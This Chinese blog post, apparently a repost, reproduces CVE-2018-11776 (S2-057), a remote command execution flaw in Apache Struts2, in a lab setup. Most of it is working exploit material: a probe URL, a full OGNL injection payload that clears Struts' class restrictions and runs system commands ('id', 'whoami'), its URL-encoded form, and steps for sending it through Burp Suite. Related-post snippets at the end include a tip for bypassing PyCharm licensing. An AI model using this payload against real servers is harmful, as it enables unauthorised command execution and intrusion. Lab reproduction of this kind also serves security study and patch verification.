Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去。启动环境后,在Win10上访问http://IP:port/struts2-showcase1.构建Payload:访问:http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action.

大家好,又见面了,我是你们的朋友全栈君。

S2-057漏洞产生于网站配置xml的时候,有一个namespace的值,该值并没有做详细的安全过滤导致可以写入到xml上,尤其url标签值也没有做通配符的过滤,导致可以执行远程代码以及系统命令到服务器系统中去 。

启动环境后,在Win10上访问http://IP:port/struts2-showcase

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

1.构建Payload:

访问:

http://your-ip:8080/struts2-showcase/$%7B233*233%7D/actionChain1.action

可以看到233 * 233的结果已在Location标头中返回。

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

将以下payload进行URL编码:

${ (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘id’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

URL编码后

$%7B%0A%28%23dm%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23ct%3D%23request%5B%27struts.valueStack%27%5D.context%29.%28%23cr%3D%23ct%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ou%3D%23cr.getInstance%28@com.opensymphony.xwork2.ognl.OgnlUtil@class%29%29.%28%23ou.getExcludedPackageNames%28%29.clear%28%29%29.%28%23ou.getExcludedClasses%28%29.clear%28%29%29.%28%23ct.setMemberAccess%28%23dm%29%29.%28%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29%29.%28@org.apache.commons.io.IOUtils@toString%28%23a.getInputStream%28%29%29%29%7D

并在burpsuit的GET /struts2-showcase/$%7B233*233%7D/actionChain1.action HTTP/1.1中将URL编码的插入到/$%7B233*233%7D/ ,将$%7B233*233%7D去掉。

Apache struts2 namespace远程命令执行—CVE-2018-11776(S2-057)漏洞复现

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/158495.html原文链接:https://javaforall.net

赞 (0)
全栈程序员-站长的头像全栈程序员-站长

相关推荐

  • 华硕ac5300最牛设置_acwing是什么

    华硕ac5300最牛设置_acwing是什么每一头牛的愿望就是变成一头最受欢迎的牛。现在有 N 头牛,编号从 1 到 N,给你 M 对整数 (A,B),表示牛 A 认为牛 B 受欢迎。这种关系是具有传递性的,如果 A 认为 B 受欢迎,B 认为 C 受欢迎,那么牛 A 也认为牛 C 受欢迎。你的任务是求出有多少头牛被除自己之外的所有牛认为是受欢迎的。输入格式第一行两个数 N,M;接下来 M 行,每行两个数 A,B,意思是 A 认为 B 是受欢迎的(给出的信息有可能重复,即有可能出现多个 A,B)。输出格式输出被除自己之外的所有牛认为是

    2022年8月10日
  • PyCharm许可证过期解决方案

    PyCharm许可证过期解决方案PyCharm许可证过期解决方案1.选择enterlicense2.选择licenseserver3.输入http://idea.imsxm.com4.点击ok

    2022年8月26日
  • C语言 Socket TCP通信

    C语言 Socket TCP通信TCP简介传输控制协议(TCP)是一种网络通信协议,旨在通过Internet发送数据包。TCP是OSI层中的传输层协议,用于通过传输和确保通过支持网络和Internet传递消息来在远程计算机之间创建连接。

    2022年7月13日
  • 女生学Java软件开发好就业吗

    女生学Java软件开发好就业吗  java在IT行业非常火热,近几年不仅引起了很多人的关注,女性同胞也非常关注这一行业,想要学习java技术,但是不知道女生学Java软件开发好就业吗?来看看下面的详细介绍就知道了。  女生学Java软件开发好就业吗?目前大多数想要参加Java培训学习女生的一个重要关注的话题,学习不用多说,只要是自己足够的努力,在选择一个靠谱的Java培训机构,还是比较容易学会的。有的时候我们可以看到同样的老师、同样的课程和同样的学习方式,整个Java培训过程下来女生很多是要比男生学习的更好。  所以,在学习

    2022年7月8日
  • 郁闷中…………

    郁闷中…………

    2021年8月5日
  • 微通道产品经理Grover采访:美国的微通道设计

    微通道产品经理Grover采访:美国的微通道设计

    2022年1月5日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号